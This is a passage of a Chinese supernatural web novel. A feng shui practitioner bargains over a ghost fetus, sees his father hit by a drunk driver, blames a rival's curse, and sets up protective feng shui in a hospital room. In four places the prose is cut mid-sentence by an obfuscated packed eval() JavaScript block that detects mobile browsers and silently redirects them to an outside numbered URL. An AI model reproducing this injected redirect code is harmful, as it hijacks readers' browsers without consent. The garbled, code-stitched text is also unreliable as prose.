“儿子被人害**,家族差点儿被人害了,给了钱,还要被人整,啧啧。” 苟驹摇着头,他现在这话,就成了看热闹不嫌事儿大! “误……误会……我刚才,鬼迷心窍,我什么都没想做……我被鬼上身了……”余玉歌爸爸声音哆嗦,他说着。 “对!对!我男人鬼上身了,我一样被鬼蒙了心,才会说混账话,胡家对我们已经仁至义尽了,给了那么多钱,我们怎么可能管胡家再要钱,真要是这样,今天我们就不会来了啊!最主要的想法,不还是解决问题呢吗?”余玉歌妈妈也赶紧说着。 “嗯,解决问题,我觉得不错。”我点点头说。 “哎!这就对了!小先生这话说的没错!这太对了!”余玉歌爸爸惊喜过望。 “问题不光是胡家的,同样是两位的,余玉歌怀了胡家的孩子,最主要的还是你们的女儿,胡家先出事,你们也跑不掉,她会回去找你们报复,胡家给我九十万酬劳,这钱,我不能光收一家人的,一家四十五万,算是个规矩吧。” 我冲着余玉歌爸妈伸出手。 余玉歌妈妈脸色一变,哆嗦说:“多少!?” 余玉歌爸爸瞪大双眼,说:“你这不是讹诈吗!?” “讹诈吗?”我摇摇头,另一手抬起阴胎,说:“你们可以不给钱,因果这东西,必然会有些作用,还有,这阴胎算是你们外孙,你们是外公外婆,理应你们带回去处理,我便不管了。” 第161章 灾殃临头 我伸手,要将阴胎塞给他们两人。 胡家人立马后退了一些,没有挡住他们。 余玉歌妈妈直接一翻白眼,整个人直接被吓昏了,头一仰,便直接倒地。 余玉歌爸爸瞪大了眼珠,哆嗦的后退两步。 一个胡家人上前,直接抓住了他的肩膀,不让他后退。 “你这是明抢!”余玉歌爸爸惊怒交加,他浑身都在发抖。 “你现在就可以走了,带上你的外孙。”我语气更平淡,往前走了两步,又将阴胎往他怀中塞去。 “啊!”余玉歌爸爸一声惨叫,是吓得魂飞魄散。 阴胎直接被搡进他怀中,他整个人瘫软倒地,裤裆直接一阵湿透。 “叫什么叫,喊什么喊?先生给办事儿,收钱是天经地义,说了你们不用给钱,走就是了,把你们外孙带走,别的就当被你们白嫖了,你们既不会被女儿折腾,又得了一个好外孙,怎么又着急了呢?”苟驹上前,手一把按住了余玉歌爸爸的肩膀,用力晃了晃。 “阴胎好啊,不吃奶,喝血,你们两口子就好好带着吧。让它不爽了,它把你们两个直接吃了!” 苟驹这话,直接就让余玉歌爸爸面如死灰。 他并没有接住阴胎,因此,我还是握着阴胎的,他双手垂着,他双腿不停的发抖,尿骚味很重。 我手一松,阴胎哐当一下落地。 余玉歌爸爸一声惨叫:“拿起来,拿起来,拿走!拿走!我给钱!我给还不行吗!?” “好的,钱交给胡家,胡家主,麻烦你到时候一并转交给我。”我说完,这才捡起来地上的阴胎。 “把这位余先生抬起来,胡家先前也算是给了他们百八十万,不会把人逼死的。”胡夫人这句话就十分巧妙了。 既点明了我要这笔钱,不会把人怎么样,又告诉了这两口子,该吐出来一是一些。 几个胡家人拖着余玉歌的爸妈往远处走去。 周围稍稍安静了一些,胡霖的尸身一样被弄远了。 “这口尸体,已经没有魂魄了,烧掉,或者直接给余玉歌爸妈,都不会对胡家带来任何负面影响。” 我指了指余玉歌的尸身。 “其他事情,应该没事儿了,如果胡家后续还有什么麻烦,胡夫人告诉苟叔,我来解决即可。” 我看向胡夫人,再度开口。 “好。”胡夫人连连点头,眼中透着欣喜。 “胡彬死不了,明天多晒晒太阳。” 我再指向胡彬。 胡夫人立马又下令,有人上前,将胡彬抬走了。 紧接着,胡夫人低声说:“钱我会换成大黄鱼儿,送到回水湾的。” “成,那我们就先告辞。”我点点头,提着阴胎,朝着远处码头走去。 我这一走,苟驹和徐湘灵就马上跟了上来。 胡家的人并没有再跟上我。 不多时,我们三人就率先上了码头,跳上了船。 其余五个捞尸队的人纷纷上了别的船只。 夜色清冷,天沧江水面上波光粼粼,涟漪不断。 “小陈,我刚就弄不懂了,你要教训教训他们,完全可以拿了钱,阴胎还是给他们啊,就让他们去哪儿哪儿埋,你点个位置,这应该可以的吧?”苟驹狐疑问我。 “教训?有吗?”我和苟驹笑了笑。 “不是教训吗?”苟驹一脸错愕。 我默了片刻,才回答:“他们两口子的确过分,可要钱这件事情,的确是规矩,否则我解决了这么大的麻烦,这么大的隐患,因果这东西,一旦反噬起来,他们承受不起。” 办事儿就要收钱,多多少少,一块钱是收,一万块,一样是收。 这些道理,我之前其实就懂,只是说,我学了神相千壳之后,懂的更深了一些。 “原来如此,我还以为你整他们呢,心想,嚯你开口挺狠,张嘴就是四十五万,哈哈,看来我以小人之心,度君子之腹。”苟驹摸了摸头。 “没有苟叔,我只是想他们别那么舒坦,他们女人坑了人,之后还差点儿折腾我们,规矩范围内,能要多少我就要多少了,这够让他们懊恼了吧?”我在回答。 “高!”苟驹竖了个大拇指。 徐湘灵一样默默点头,周围那些捞尸队的人却面面相觑。 “那这阴胎……他们不会埋不了吧?”苟驹不自然又问。 “不是,我有用,他们就算是不给钱,我也不会让他们带走的。”我说。 “原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524983|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来如此。”苟驹再度点头。 “那现在去哪儿,回我家吗?然后所有事情都从长计议?”徐湘灵切回了正题。 ”先**水湾吧,这两天,脑子有些不太够用了,我得回一趟小二楼。”我开口道。 “行。”苟驹招呼了两声,示意捞尸队的人开船。 他则是走到船尾去撑船。 我们一行人朝着回水湾的方向去了。 阴胎被我放在船底脚边,我坐在船沿边上。 船一晃一晃,本来没什么问题,水面都变得更为安静,我脑子也清醒下来不少。 可不知道为什么,手指又一阵说不出的刺痛,指尖居然再度开始淌血。 不光是指尖淌血,心头更是猛地一阵坠空失重,那股感觉来势汹汹,我另一只手死死的捂着心脏,窒息感分外浓烈。 心,好痛。 痛得喘不上气儿,痛得……脑袋都要一阵发晕。 不好! 我瞬间就冒起这念头。 随后我就想要往船底扑,因为我知道我马上就要控制不住身体了,会像是之前那样直接倒下,不能坠河! 只是,我的反应虽然快,但身体的反应更快,根本没有往前扑去,整个人往后仰倒,噗通一声就坠入了河中。 “小陈!”苟驹惊声大喊。 “陈先生!”徐湘灵同样大声喊我。 我能听出他们的焦急。 可身体还是动弹不得,躯体化僵硬了似的,朝着水下沉去…… 水,很快就没过了我的头顶,我整个人都朝着水底沉去。 噗通一声响,我隐约看见一道游鱼似的身影朝着我窜来。 一张惊慌的脸浮现在我面前,随后,徐湘灵抓着我,将我往岸上带。 我还是动弹不得,脑子里的晕晕沉沉是好多了。 只不过,心里的压抑却更强。 先前我出现这种身体情况,我以为是老天爷给我的警告,胡家的事情我办不了,会祸临己身,或者会伤及家人。 胡家的事儿,完成了,有惊无险! 可现在,我又出现这种状况了! 这代表……我要出事了,或者我家人要出事了。 是有灾殃临头! 第162章 车马伤相 哗啦一声,是我被徐湘灵推出水面。 苟驹一把抓住我肩膀,将我拽上船! 我身体难以动弹,不过落水那一瞬我是憋着气的,因此并没有呛水,此刻才大口大口的喘息着。 手上冰凉和温热夹杂,先前破的是食指,此刻破的是中指,血一直在淌个不停。 “见鬼了……小陈你创鬼了?是这个阴胎?”苟驹脸上透着惊悚,手里卜刀指着船底阴胎。 徐湘灵随后爬上船,衣服湿漉漉的,紧贴着身体。 她一样俏脸透着惊悚。 还有三条船靠过来,是捞尸队其余五人,他们不安的看着我。 “不是它……要么是我……要么是……” “问题不是胡家带来的!” “回去!快!回去!” 我总算缓过来那口气儿,强撑着站起身来。 “这条船太慢了,不行!” 我心里慌得要死。 胡家的事情完成了,我身上还发生这种预兆反噬,就代表有其他的事儿盯着我。 要么祸临己身,要么家人出事! 坠河不是祸,只是我没坐稳。 事情不应验在我身上,就要应验在我爸,或者爷爷身上! 白天发生一次,就是冥冥中的警告! 事不过三,这是第二次! 思绪只在顷刻间,我猛地往旁侧一条船上一跃。 哐当一下,我重重落在船里,险些没站稳,马上一人抓住我胳膊。 “开船!赶紧送小陈回去!” 苟驹话音极重,透着毋庸置疑。 这条船上是两个人,赶紧一人去操控发动机,船速陡然暴增,在水面都划出一道深深的浪痕! 我整张脸都紧绷着,一声不吭,一直看着前方远处,身上一直冒冷汗。 本身衣服湿漉漉的,冷风一吹就更凉。 再打了个冷噤,我才反应过来,赶紧摸出来手机。 我身上有个袋子,是瞿九娘给的,能有防水的作用。 翻出来我爷爷的号码,赶紧拨了个过去。 大概响了半分钟,电话接通。 “爷爷!?”我声音很大,很重,格外心慌。 “啊?怎么了棺生?”爷爷回答。 心,咚咚咚的猛跳。 我眼皮一直在抽搐,追问:“你们没事儿吧爷爷?” “没事儿啊棺生,好得很呢,咋了,你声音怎么不对劲?”爷爷回答,他都有些奇怪。 我太阳穴都有一阵阵抽痛,那心跳更重,手捂着,勉强镇定了几分。 “棺生,你咋不说话呢?”爷爷再道。 “没……我没事儿,你们在哪儿?”我问。 “刚回来呢,苟驹他们平房这外边儿,今天和你爸出去逛了会儿,你爸想找点儿活干,没找着合适的。”爷爷说。 我更松口气。 吓死我了,真的,这冥冥中的反噬吓死我了。 我真怕爷爷和我爸出事。 我没出问题,他们也没出问题,代表这种反噬还没有到极限,只是冥冥中命数给我提了个醒? 事不过三,再下一次,就一定会出事了? 那两个捞尸队的人没敢吭声,一人在旁边儿守着我,是生怕我掉河里,另一人操控着船的方向。 “回去小二楼里吧,我马上就回来了。”我叮嘱爷爷一声,语气更舒缓下来不少。 “行。”爷爷说完,他就挂了电话。 上了年纪的人都这样,挂电话的速度飞快。 身上水多,我便在衣服上蹭掉了中指上的血,因为浸水,食指和小拇指上的创可贴都掉了。 除了小拇指是被钉锤砸出来的伤口,食指和中指都是指裂,再加上我先前被寻龙分金尺和铜钱烫过,一双手颇有些惨不忍睹。 时间一点点过去,岸边逐渐瞧见市区的马路,车流,房子。 我心镇定下来更多了。 缘由简单,小二楼里是安全的,不光是因为回家了。 更重要的是,白姝灵的尸身,以及听话那部分魂魄在家里。 除了她这个凶煞无比的河魁尸,整个小二楼更是陈瞰山的地盘,还有画地为界的符。 真有什么问题,白姝灵保不住爷爷和我爸,陈瞰山会袖手旁观吗? 虽说他离开了陈家,但那是他为了保住自身,也算是保住陈家血脉,他认为陈家做错了,没人听他的而已。 对于爷爷,他是有意见不假,可对于陈家,他是看重的,否则就不会用那番话来激起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524984|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我学艺之心了。 “快到了陈先生,您别着急。”一个捞尸队的人喊了句。 我点点头回答:“不急。” 发动机开船,果然比撑船快多了。 又过了十来分钟左右,就远远看到了回水湾,看到了那片平房。 船靠在岸边码头后,我还看见了爷爷和我爸,两人就站在岸边不远处,有说有笑。 他们瞧见了我,就朝着我走来。 我愣了愣,他们怎么没回家。 “棺生,我和你爷天天都在屋子里待着,闷得很,你们吃了吗?咦,你苟叔呢?要不出去整点夜啤酒?我有事儿和你苟叔商量。”我爸还搓着手。 他这人一紧张,就会搓手。 往往求人办事儿的时候,他就会最紧张。 他想和苟驹商量什么?! 我翻身上了码头,才说:“苟叔他们在后边。” 其实,我是有些责怪心里的,觉得他们两个没听话。 不过事情已经发生了,我责怪没用啊。 好在我爸和爷爷都没事儿,算是有惊无险? “成,我刚才看了位置,外边儿有个大排档,卖烤鱼的,去整一桌,搞点宵夜。”我爸说着,他和爷爷已经快走近了。 “咦,我手机呢。”接着我爸摸了一下兜里,他立马回头瞅了一眼,匆匆朝着他先前站的位置小跑过去。 就这晃眼间,我却瞧见我爸的鼻梁根部,也就是面相上说山根的位置,黑朦如烟! 脸色陡然一变,这是相格问题! 只不过,我只是隐约记得看过,记不清确切相格和解法了。 脚下速度加快,我是准备立即带我爸回小二楼,我得把身上弄干,翻翻神相千壳。 另一头的马路上,一阵刺目的光亮闪过,赫然是一辆车,亮着远光灯。 直挺挺的冲下马路,朝着我爸的方向撞去! 我脑袋嗡的一声,骤然便想起来。 山根黑朦如烟,防血光之灾,车马伤相! 是要出车祸! “爸,回来!”我惊声大吼,喉咙都要震破! 我爸没回来,他刚蹲身要捡手机,一手还遮着脸,似是远光灯晃得他眼睛不舒服,他根本没注意到,车已经冲下路坎! 第163章 吃不了哑巴亏,所以我撞你爸 “糟起!”另外的惊声从后方响起,余光能瞧见是另外两人上了岸,有人看出了不对劲。 “陈勇!闪边边上切!”爷爷大惊失色,吼出声来! 我朝着我爸方向猛跑。 另一个捞尸队的人在大喊:“日你仙人板板,停车!要闯到……” 那个人字刚出口,轰然一声闷响。 是车头撞上了我爸! 我爸就像是个破麻袋一样,被高高撞飞,一双鞋子都从叫上脱落! 哗啦一声水响,是他人落进了水里。 爷爷急得猛跺脚,哎呦哎哟的大喊,说糟了,遭起了。 那两个捞尸队的人更是噗通一声,骤然冲进水里,朝着我爸落水的地方游去。 远处水面上,能瞧见还有几条船,正在加速朝着这边驶来。 “咋子了!”苟驹的声音很大。 我脑袋嗡嗡作响,呆呆的看着地上两双鞋。 手在发抖,心在发颤。 这么快!? 就这么快!? 一瞬间,我爸脸上出现相格,下一瞬,就出事! 饶是我立马喊他躲开,他居然都没听见,或者说急着捡手机不抬头。 很多中年人老年人都喜欢这样,年轻人说事儿的时候,他们喜欢说完自己的事情,才会听年轻人的。 这就是代沟,这就是很多人家里,大家都在各说各。 冥冥之中,这就是命!? 我爸就该被撞? 不,不对! 不是! 是我被影响,是有事情在针对我! 祸临己身,或者伤及家人! 这是后果,是必然有原因的! 我站在原地发颤,爷爷已经朝着岸边跑去了,那两个捞尸队的人是将我爸拖了上来。 “救护车!创鬼了,赶紧打救护车。”苟驹一边跳上码头,一边喊。 我立马要摸出来手机。 不光是要找救护车,还得报警。 两个电话拨出去,说出了位置。 那车的远光灯关了。 车早就停下来了,停在撞我爸的位置。 咔嚓一声车门开启,车上晃晃悠悠下来个人。 这人喝得五迷三道,醉醺醺的,下来就开始吐,一股难闻的恶臭味,酒臭味朝着这边涌来。 我呼吸分外粗重。 “撞到狗了吗?”他用力甩了甩脑袋,骂骂咧咧的说了句:“大晚上出来遛狗,不牵绳,撞死当睡着。” 我脑瓜子,顿时就嗡嗡作响。 陡然踏步往前,我到了那人近前。 握紧拳头,一圈狠狠砸在了他的眼眶上! 他一声惨叫,往后重重仰倒,嘴里还骂着脏话。 我冲上前,又狠狠朝着他身上踩了几脚。 苟驹和其余人冲了过来。 月光下,苟驹手里的刀明晃晃的,他模样显得凶神恶煞。 “小陈你不该报警啊,叫个救护车得了,把你爸送医院里就行,这**要翻天,创了人嘴巴还乱叫,把他弄水里头,哪个晓得!?” 苟驹人狠话又多,他比划着手里头的卜刀,眼中都闪着一丝丝冷意。 地上那人一下子不哀嚎,更不乱骂了,他脸都吓白了,哆嗦的看着我和苟驹。 徐湘灵在一旁捏着鼻子,用手扇着气味。 地上是乱七八糟的呕吐物,那人被打翻沾上不少,恶心极了。 “你们莫乱整……**就**……我赔钱……你们莫**,**犯法……吃紫蛋……” 话音是哆嗦的,更带着一丝丝惊悚哭腔。 苟驹的样子凶,且吓人。 卜刀更锋利。 并且这会儿我爸被抬上来了,他嘴巴在吐血,身体不停的抽搐,是受伤外加呛水。 吐血是内伤,颧骨的位置发黑,这种黑不是常人能看见,我能看清楚,是因为这为相格。 双颧黑气是有暴毙相,一旦黑气灌口,人就没救了。 此时此刻,那黑气已经萦绕到了人中,还好,没有往嘴巴里灌。 两人将我爸平放在地上,没敢多动,生怕给我爸带来更多伤害。 而后,就是五个捞尸队的人,更凶狠的瞪着那个醉驾司机。 那司机这下子动都不敢动了。 警车和救护车来的一样快。 我爸被抬上救护车,警察直接给那个司机上了**,司机还一直喊,说我们拿刀要捅死他。 苟驹骂骂咧咧的说:“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531366|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子真捅你龟儿,你现在都死的梆硬了。” “老苟,你莫乱整,没有捅人吧?” “算了,你还是跟我走一趟。”其中一个警察冲着苟驹招手。 苟驹倒是无所谓,大咧咧就跟上去了。 他嘴里还骂骂咧咧说着:“捅个锤子,这**喝的不晓得姓啥了,把老子哥老关撞成那个样子,你们要判,重判!” “小陈,你赶紧跟到去医院!这边我去,没得事!”苟驹又扭头冲着我喊。 救护车的确要开了。 我也顾不得其他人,匆匆上了救护车,结果徐湘灵也跟上了我。 车里头多少就有些紧凑局促,爷爷待在车旁,他嘴里一直在哆嗦,眼中全是担忧,面无血色的。 我爸口鼻盖着氧气面罩,嘴里还在冒血,有护士正在给他剪开胸口的衣服。 “我屋陈勇没事吧?不得**吧?”爷爷还是慌。 “老年人你安静。”另一个护士做个嘘声的动作。 爷爷抿着嘴,一副老泪纵横的样子。 “没事……应该没事了……”我声音格外沙哑,一直盯着我爸的脸。 随着他挂上吊瓶,随着护士给他打了一针,我看瓶子上写着什么肾上腺素,我爸的呼吸变得均匀,人没有痉挛,颧骨上的黑气一样散了。 这时,我手机却响了起来。 本以为是苟驹打来的电话,居然是个陌生号码。 接通了电话,里边儿是个男人的声音,粗听很陌生,很快就变得熟悉起来。 “陈棺生,是,你有种,你老陈家的,老爷子都喊我莫来惹你,当吃了哑巴亏。” “老子吃不了这个哑巴亏,你太有种了,有胆子喊捞尸队的人把我按水里一晚上,老子随随便便上点儿手段,把你爸撞进水里,一点儿问题都没有。” “哈哈哈,你学点儿阴阳术,半瓶水都没有,你没察觉,你没反应吧?” “你个废物!” 一时间,我都耳鸣了,脑子嗡嗡作响。 是葛家那个人! “你……欺人太甚了!”我颤巍巍的说:“我爸没惹你,我也没招惹你。” “你装莽?那你又要吃点苦头了。”那男人阴冷一笑,语气更是阴毒。 第164章 地母翻卦 装莽是一句方言,其实很多时候,无论是苟驹,我爸,爷爷,甚至是我,都喜欢脱口而出一些方言,苟驹对徐湘灵最经典的评价,莫过于那一句川渝暴龙。 此时此刻。 电话里那阴毒,冷冰冰的声音,除了让我耳鸣,更让我的心一沉再沉。 我知道,对方绝对不是说来玩玩而已,他是真的有些本事,能做出某些事儿来。 譬如今天我爸被车撞。 甚至我现在可以肯定,那辆车的车主和对方没有任何关系。 风水。 一片砖,一块瓦,便可**夺命。 他只需要设下对我爸的局,让我爸出现车马伤相,自然就会有个人出来撞我爸。 可以是酒驾的这个人,也可以是别人。 对,他其实已经说出了自己为什么对我下手。 是报复! 是上一次他对我出言不逊之后,被苟驹摁在了水里一夜,是他觉得丢人,就是赤裸裸的报复! 这件事情,只有两种解决方案。 要么我俯首认输,承认我自己就是个废物,甚至还要和他道歉,他可能会放手不整我爸我爷爷。 要么,就是和他硬斗硬! 前者,不可能的! 况且当初在葛家,是属于我先保卢家,不知道情况,属于我先冲了别人,我不占道理,再加上实力不够,我才选择低头。 人活一口气,这一次我没有招惹谁,他这样做,太过分。 俯首认输?我还当什么人? 随便在天沧江找个岸边跳下去,**一了百了! 后者…… 我看向昏迷不醒的我爸,还有带着一丝错愕,不安,看着我的爷爷。 毕竟我先前那两句话,足够让爷爷发现一些不对劲的地方了。 “怎么了陈棺生,哑巴了?还是你被吓得尿了裤裆?” “说话!回答我!”电话里的声音,大得惊人刺耳。 “你叫什么名字,我还不知道。”我哑声开口,心神要比之前镇定的多。 电话里边儿,忽然安静了几秒钟。 “你不敢说吗?”我再问。 “你怕?你怕我和你斗?”我的语气还是平静的,不过沙哑不减。 “笑话!”冷硬的声音再起,道:“陈棺生,你等着吧,等着给你家两个老东西送终!” 电话被挂断。 我心跳还是咚咚的。 是他,主动挂了电话! 我翻到了苟驹的号码拨通过去,很快那边接通。 “到医院了小陈?没大事儿吧?”苟驹问我。 “还在路上,苟叔,你托人,帮我查一个人?”我低声开口。 “麻烦你能不能安静一些,不要一直说话,会影响伤者。”护士扭头看我一眼,显得很不满。 我和她连声说了几句对不起,随后声音压得更低和苟驹交谈,护士还是对我态度一般。 基本上,我把那人的情况说了,其实我知道的也不多,苟驹说交给他,让我先放心,又和我说,没那么玄乎,先把我爷爷我爸照看好。 随后,电话再度挂断。 是,我晓得没那么玄乎。 风水害人是无形,不过伤人害命一定需要准备,还会出现相格。 尤其因为我学了阴阳术,冥冥之中,还会有一些提示。 就好比我先前的指裂,心悸,头晕,这些都是。 只不过我恰巧面对胡家的事情,以及对这种事儿没有经验,没有人教授,没有人提醒,才导致现在这个结果。 教训,一次就够了。 还有,之所以我找苟驹去查,是因为苟驹接触的家族多,认知面更广,对,胡家才因为我们而保住家业,苟驹去找胡家,都一定能打探出来消息。 脑子里思绪活泛,我收起手机,同时目视着我爸,时而瞟一眼我爷爷,警惕着他们不要出现面相变化,一旦发生,我能及时反应,随后,就是安静。 爷爷没看我了,同样担忧的看着我爸。 至于徐湘灵,则一直保持着安静。 到医院了,我爸被抬进去手术室,我们便在外边儿等。 这样一来,就瞧不见我爸的脸了。 不过,我一直没有再心悸,爷爷同样好端端的。 “棺生……你有仇家?”这时,爷爷总算小声问我。 “不算仇家吧。”我默了片刻,才和我爷爷解释清楚始末。 “人善被人欺!马善被人骑!这葛家,太过分了!”爷爷脸色都一阵涨红,他声音压的很低,却极其愤怒。 “要是老陈家还在,他小小葛家,还敢触怒金尺玄算的威名?”越说,爷爷胸口越是上下起伏。 “和他斗!以前老陈家多少树敌,家族那么多人,可曾怕过!?”爷爷明显上劲儿了,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531367|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神中都带着一丝凶狠! 徐湘灵抿着唇,同样低声说了句:“这人纯属纨绔子弟,仗势欺人,不,也借着一点儿本事害人,阴阳先生害了普通人,难道不会被反噬吗?” 一时间,我沉默。 人在做天在看,害人之人,报应肯定是有的。 只不过,反击却不算。 万事讲究一个因果,有因必有果。 手术室外安静了。 过了大概三四个小时吧,我爸总算被推出来。 结果是肋骨断了三根,肺部被捅穿一个口子,命数保住了。 再送进去病房,已经是后半夜。 爷爷说我满眼血丝,让我睡一觉。 我摇头,说自己不困。 再扫过一眼病房,这里其实还有不少病人,有人睡着了还打呼噜,陪床的更是呼噜声震天。 “徐姑娘,你帮我看一下我爷爷和我爸。”我和徐湘灵交代完,便走出病房。 再接着,我去了这一层的护士站,问单独床位的病房在哪儿? 护士告诉我,没有单独床位,不过可以多付几个床位的钱,一整个病房给我们。 我点头说了个行,我先去看看。 这护士就好多了,真就带我去看。 期间,我手里一直拿着仕金盘,确定方位。 很快,我就选了一个房间。 在方位上,这方向是东,对应震。 纳甲为丁酉,所属九星为巨门。 失运时,二黑飞星是巨门,对应冷庙之鬼! 不过,我现在用仕金盘的地母翻卦九星盘去找位置,又在三煞位放下一块龟甲。 接着我告诉护士,这病房我要了,麻烦她帮忙将我爸接过来,护士提醒我说,除了病人的床位,其他的报不了医保,要全额消费,这房间五张床,一天得上千了,她知道我爸是那个车祸受伤的人,怕是得在病床上躺个把月,要不换个床位少点儿的房间。 我摇摇头说:“就这儿了。” 护士这才转身离开。 我没有跟出去,那边有爷爷和徐湘灵,肯定能忙得过来。 屏息凝神,我开始在病房里各个位置布置铜钱。 二黑飞星和五黄飞星在失运并列最凶,相对的,在得运的时候,就相当于星宿护身。 我爸和爷爷住在这儿,我看葛家那暗箭伤人的小人,能用出什么手段! 第165章 开户 当铜钱在各方布置完成后,我回到三煞位,取出来砚台和笔,开始磨墨。 这期间,我爸被护士送进来了。 我看向他们,又指了指靠近窗户的一张病床。 白天能见阳光,晚上能见月华星光,那位置,才最好! 最能受用这病房的风水! 护士有眼力见,将我爸安置过去。 整个过程中,她们都很小声,还有人好奇的看我,似是觉得少见。 当然,她们没有多滞留,很快就离开了。 我取出来两张纸,写下我爸和爷爷的生辰八字,分别各化一道化煞符在生辰八字下边儿,两张纸条卷起来,我塞进了龟甲中。 这一切做完,脑子多少有些发僵,人都浑噩起来。 胡家的事情,本就消耗精力,再加上头天晚上想处理苟驹的事情,那小孩儿托梦,让我没睡好,头天白日里,一样遭遇了见鬼。 这会儿,我眼前都在一阵阵发黑了。 身上的衣服之前打湿,现在还湿漉漉的,整个人还有些发冷,不停的打寒颤。 “陈先生你没事吧?你脸色有些不太好看。”徐湘灵小声问我。 “没事。” 我摆摆手,却坐在了一张病床旁侧。 浑噩感更强了,眼皮子都在打架,实在是无力,我躺了下去。 有风水作为庇护,对方就算真有什么手段招呼上来,都未必能伤到我爷爷和我爸了。 他要面对的,首先就是这栋医院,面对这一个巨大的阳宅! 因此,脑袋紧绷着的那根弦一松开,我闭上眼,就沉沉睡了过去。 这一觉我睡的相当久了。 再等我醒来的时候,阳光刺目,天色大亮,身上的衣服都干了。 有点儿感冒,鼻子堵塞,不过精神头好多了。 爷爷斜倚在另一张病床上睡觉,我爸醒过来了,他靠在床头,脸上还带着笑容。 被车撞了,断了肋骨,他居然还笑得出来。 至于徐湘灵则坐在床畔削苹果。 “哎,棺生醒了。”我爸稍稍扭头,喊了我一声。 徐湘灵这才扭过头来。 阳光下,她倒是笑靥如花。 “陈叔叔没事儿,陈先生你就放心吧,医生来查过床了,他需要一直在医院静养。” “呼……” 我长舒一口气,这才站起身来。 心里头放松多了。 “爸,那你就在这里养着,我得回去一趟。” “徐姑娘,就不耽误你了,我爷爷能照看我爸。” 我再看向徐湘灵。 “我没事的,你是要准备去……”徐湘灵的眼神,透着一丝丝担忧。 她其实没有催问我,关于她姐姐的事儿。 大抵我看得出来,她是怕我去和葛家斗风水,其实,她担忧的不是斗,只是担忧我的安危? 以前,我对人的情绪分析没有那么精准。 神相千壳学的虽然不够多,但能够看出来不少人的想法了? 至少,从徐湘灵脸上是这样的。 “先回一趟住处,和苟叔碰个面。”我如实回答。 “对,苟……姐夫说了,让你醒了联系他,先去一趟局子里,那个**的人,还被扣着。” “赔偿什么的,对方愿意赔,希望能有个谅解书。”徐湘灵再道。 “好的。”我答完,徐湘灵又告诉我,她索性没什么事儿,就帮我在这里照顾一下,否则我爷爷年纪大了,来来**不方便。 说实话,徐湘灵这样说,我是很感激的。 若非我的确要去处理事情,我不能一直被动被葛家的人整,必须还得主动出击。 抛开这些,我更应该在这里照顾我爸。 “谢了。”我真心实意的说。 “你也帮我很多呀,怎么说谢呢?”徐湘灵笑了笑,又说:“如果这点儿举手之劳的小事儿,我都不能办,又怎么去承接陈先生你要帮我和姐夫的事儿?” 她的笑,明显是在调节氛围,缓和我的情绪。 还有,明显昨晚苟驹的一些行为,又让徐湘灵稍稍改观了。 我再吐了口浊气,才说:“倒是我做的见外了。” 随后,我一样笑了笑。 我没有必要让徐湘灵和我爸的情绪一样紧绷。 脸上笑,我心里保持警觉就好了。 离开之前,我还和徐湘灵叮嘱了一些细节,譬如,不要让我爷爷单独接触一些人,正常情况下,就一直待在病房里就好了,不要胡乱吃别人的东西。 不是我过于谨慎,如果对方察觉到风水 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我两出去后,苟驹才说:“事情打听出来了,那小子叫葛俊,名字像是个人样儿,干的不叫人事儿,身份证我也给你弄到了。这算是拿到他生辰八字了?” 话语间,苟驹摸出来一张小纸条递给我。 说实话,我都愣住。 我以为,苟驹只能给我打听到一些粗浅信息,或许我能去接触一家葛家,再伺机反击。 可没想到,苟驹把人户口本都翻了? 他那张纸条上,不光是有姓名出生年月日,籍贯住址都有。 “苟叔,你怎么给人开的户?”我咽了口唾沫。 苟驹耸了耸肩,才说:“你当我捞尸队白干的?给多少人捞尸,不说那些家族欠我人情,我平时捞一些市民可没怎么收钱,一边是积阴德,一边不一样是白道上的人情?” “别说开他一个人的户,你要开整个葛家,那都是一句话的事儿,你要吗?”苟驹一本正经的问我。 我摇摇头,盯着手中纸条,低喃:“冤有头,债有主,他干的事儿,他自己背锅,这就够了!” 苟驹眼中一样闪过一抹兴趣,说:“你想怎么整?” 第166章 小人报仇,从早到晚 